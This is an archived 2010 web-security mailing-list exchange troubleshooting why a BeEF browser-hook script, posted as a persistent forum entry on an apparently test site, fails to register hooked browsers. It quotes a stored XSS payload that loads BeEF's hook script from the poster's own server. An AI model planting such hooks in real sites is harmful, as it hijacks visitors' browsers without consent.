[WEB SECURITY] beef question

SneakySimian sneaky.simian at gmail.com
Tue Jun 15 00:45:27 EDT 2010


Just to make sure I understand you, you have www.example.com/beef/
pointing to your internal home network. When you use the provided
example hook, it works, but if you try to to script src
beefmagic.js.php, it fails. Only two problems I've ever had with BeEF
have been either me forgetting to chmod the cache directory (which has
produced some awfully weird behavior) or forgetting to set the domain
settings when changing things around. Have you checked both of those?

On Mon, Jun 14, 2010 at 1:06 PM, Alex Fiuvertiz <fiuvertiz at gmail.com> wrote:
> Hi (sent this to security-basics also but was requested to send it
> here instead/also),
>
> I have a question concerning beef proxy.
>
> The framework is running on my server: homeserver.net/beef/
>
> If I browse to the test script located in the hook directory
> (xss-example.htm) from
> outside the LAN (that is from the Internet) directly towards my
> server, everything runs perfectly
> and the zombie shows up.
> But when I make a persistant forum post to a test site with: <script
> src="http://homeserver.net/beef/hook/beefmagic.js.php"></script>
> the zombie doesn't show up.
>
> But if I look at the access log at my server I am able to spot the
> request (and 200 OK for each request). But still no zombie in the GUI.
>
> Do you have any ideas?
>
> Thx / Alex
>
> ----------------------------------------------------------------------------
> Join us on IRC: irc.freenode.net #webappsec
>
> Have a question? Search The Web Security Mailing List Archives:
> http://www.webappsec.org/lists/websecurity/archive/
>
> Subscribe via RSS:
> http://www.webappsec.org/rss/websecurity.rss [RSS Feed]
>
> To unsubscribe email websecurity-unsubscribe at webappsec.org and reply to
> the confirmation email
>
> Join WASC on LinkedIn
> http://www.linkedin.com/e/gis/83336/4B20E4374DBA
>
>

----------------------------------------------------------------------------
Join us on IRC: irc.freenode.net #webappsec

Have a question? Search The Web Security Mailing List Archives: 
http://www.webappsec.org/lists/websecurity/archive/

Subscribe via RSS: 
http://www.webappsec.org/rss/websecurity.rss [RSS Feed]

To unsubscribe email websecurity-unsubscribe at webappsec.org and reply to 
the confirmation email

Join WASC on LinkedIn
http://www.linkedin.com/e/gis/83336/4B20E4374DBA



More information about the websecurity mailing list